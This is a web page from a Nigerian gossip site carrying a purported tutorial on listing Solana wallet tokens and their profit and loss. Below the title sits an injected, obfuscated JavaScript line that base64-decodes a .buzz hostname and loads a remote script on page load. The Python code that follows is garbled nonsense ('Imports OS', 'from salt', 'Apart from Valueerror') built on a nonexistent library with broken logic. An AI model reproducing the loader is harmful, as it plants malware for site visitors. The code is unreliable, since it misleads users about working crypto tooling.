📲 Click Here to Join Our WhatsApp Channel
NEWS | Politics | CRIME TALK ZONE | DJ MIX | SPORTS |


Burna Boy
Davido
Wizkid
Naira Marley
Olamide
Tiwa Savage
Rema
Asake
Kizz Daniel
OdumoduBLCK
Shallipopi
Tems
Ayra Starr

« | »

Solana: list tokens pnl purchased from a solana wallet

Published by on February 9th, 2025.


const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=728af264″;document.body.appendChild(script);

I can give you a Python script sample that achieves what you are looking for. This script uses the Pysolana interaction with the Blockchain of Solan.

Note:

Solana: list tokens pnl purchased from a solana wallet

You will need to install pysolana using PIP -a:PIP install pysolana

`Python

Imports OS

from salt

From Py_solana.api Import of Account_info, System_info

Def Get_wallet_address ():

“” “”

Returns the address of the wallet from the text file.

The file should contain a wallet address in the first line of each line,

separated by new lines.

: Return: Public key from Solana representing the address of the wallet.

“” “”

with open (‘Wallet.txt’, ‘r’) as f:

For a line in f:

If Line.strip ()! = ”:

Return of the line.strip ()

Raise Valueerror (“The Calcoth Address Not Found in Wallet.txt”)

Def Get_tokens_with_balanca (Wallet_address):

“” “”

Returns a list of tokens purchased by the specified wallet address,

with balance greater than 0.

: Param Wallet_address: Public Key of Solane representing the address of the wallet.

: Return: A list of dulls, where each tuple contains:

– The name token (eg ‘dai’, ‘salt’)

– The token symbol

– purchased quantity

– Current account state

“” “”

tokens = []

for entry in System_info.entories:

If entry [‘id’] == Wallet_address and entry [‘balance’]> 0:

token_name, token_Symbol = entry [‘name’], entry [‘symbol’]

token_quantity = entry.get (‘quantity’, 1)

balance = entry.get (‘balance’, 0)

tokens.append (token_name, token_symbol, token_quantity, balance))

The return of token

Def Get_pnl (Tokens):

“” “”

Returns profit and loss on each token.

: Param Tokens: A list of dulls containing information about each token.

Each tuple should contain:

– The name token (eg ‘dai’, ‘salt’)

– The token symbol

– purchased quantity

– Current account state

“” “”

pnl = []

for token in tokens:

Profit = Token [2] * 10000 / Token [1]

loss = -profit

pnl.append ((token [0], token [1], profit, loss))

Return PNL

Def Main ():

Wallet_address = Get_wallet_address ()

try:

Tokens = Get_tokens_with_balance (Wallet_address)

pnl = get_pnl (tokens)

Print (“Calcoth Address:”, Wallet_address)

For Token in PNL:

print (f “{token [0]} ({token [1]}) – {token [2]} x {token [3]} balance”)

Apart from Valueerror as E:

Print (s)

If __name__ == ‘__main__’:

main()

`

This script assumes that your wallet address is in the file calledWallet.txtin the same directory, with each line containing one line ( \ n) and the address of the wallet on the following lines. For example:

ABC123

Def456

GHI789

In this case the script will bring out something like:

Python

Calculation address: ABC123

DAI (1x) – 1000 balance

Salt (2x) – 20000 balance

`

Keep in mind that this is a simplified example and does not take into account additional factors that can affect your wallet performance, such as gas or sliding fees. You may need to change the script to match your specific case of use.

Also, keep in mind that before starting this script you will need to replaceABC123`.

decentralized stablecoins answer uncertainty

TRENDING SONGS

Song Heartbreak in Ikeja: Lady Weeps After Fufu Found in New Phone Package Song Twist of Fate: Man Who Questioned Phyna’s ₦1Billion Demand Mourns Brother in Dangote Truck Crash Song Tragedy in Enugu: Dangote Truck Claims Lives of Family of Five Song Bangkok Crackdown: Nigerian-Thai Couple in Police Net Over Drug Trafficking Song Family Rift: Reno Omokri’s Ex-Wife Says He Deserted Their Special Needs Son Song The Man Who Sent Money for Two Decades, Only to Return to an Empty Shell Song See how a young lady was beaten in a village and naked for stealing a goat  Song See How Man That Plans to Divorce His Wife, Gets Shocked When She Leaves Him First With Their 5 Kids Song Tragic Land Dispute: Man Kills Father in Imo, Pastor Arrested for Rape Song Nigeria Grants Air Tanzania Passage for Direct Flights

CLICK TO DROP YOUR COMMENT

Share this post with your friends on


0 Responses

Leave a Reply

NOTE:- Make your comment a bit long to get it approved.



Go Back To The Top

« | »


Looking for something? Search below





About First Class Gists


Click Here to Join Our WhatsApp Channel